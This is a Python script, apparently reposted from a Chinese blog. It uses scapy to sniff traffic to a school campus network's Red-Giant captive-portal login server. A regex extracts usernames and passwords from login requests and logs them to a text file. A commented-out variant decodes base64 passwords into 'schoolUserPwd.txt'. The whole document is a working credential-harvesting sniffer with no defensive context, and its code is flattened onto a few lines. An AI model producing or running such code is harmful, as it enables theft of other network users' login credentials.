import requests,datetime,re,psutil import scapy_http.http as http from scapy.all import * from lxml import etree import warnings warnings.filterwarnings("ignore") iface = 'wlan0' iface="Intel(R) Ethernet Connection I219-V" #iface="Intel(R) Dual Band Wireless-AC 8260" url = "http://192.168.xxx.x:xxxx/portal/pws?t=li" url="http://10.255.0.2:8081/login.html" url="http://10.255.0.2:8081" path = "/root" def get_netcard(): netcard_info = [] info = psutil.net_if_addrs() print(info) for k,v in info.items(): for item in v: if item[0] == 2 and not item[1]=='127.0.0.1': netcard_info.append((k,item[1])) return netcard_info def prn(pkt): global a a=a+1 #print(a,"the time is : %s" % datetime.now()) data = None #print(http.HTTPRequest,pkt.haslayer(http.HTTPRequest)) #std ==> ap #print(pkt.decode(encoding="utf-8")) #print(aa) ab=re.findall('signname=Red-Giant&username=(.*?)&password=(.*?)&signname=Red-Giant',str(pkt)) if len(ab)>0: print(ab) with open("aa.txt","a") as txt: txt.write(str(ab)) ## if pkt.haslayer(http.HTTPRequest): ## print(pkt)#if post the username and password ## if pkt.Method == 'POST': ## print(1111111111111) ## if pkt.Method == 'POST' and 'username' in pkt.load: ## dt = {i.split("=")[0]:i.split("=")[1] for i in pkt.load.split("&")} ## data = ":::".join((dt["username"],dt["password"][3:].decode("base64"))) + '\n' ## print( '[+]Get! Post data:%s %s %s %s' % (dt['username'],dt['pasword'])) ## ## if data != None: ## with open(path + "schoolUserPwd.txt", "a") as txt: ## txt.write(data) def main(): #print("the time is : %s" % datetime.now()) try: #sniff(iface=iface, prn=prn, filter="ip host 10.255.0.2", store=0) sniff(iface=iface, prn=prn, filter="ip host 10.255.0.2 && port 8081",store=1) #sniff(offline=path + "school.pcap", prn=prn, filter="ip host 192.168.xxx.x") except KeyboardInterrupt as e: print("quitting...") if __name__ == '__main__': global a a=0 #print(get_netcard()) main()
标签:检索,iface,http,pkt,python,prn,网络,##,print From: https://www.cnblogs.com/xkdn/p/16869887.html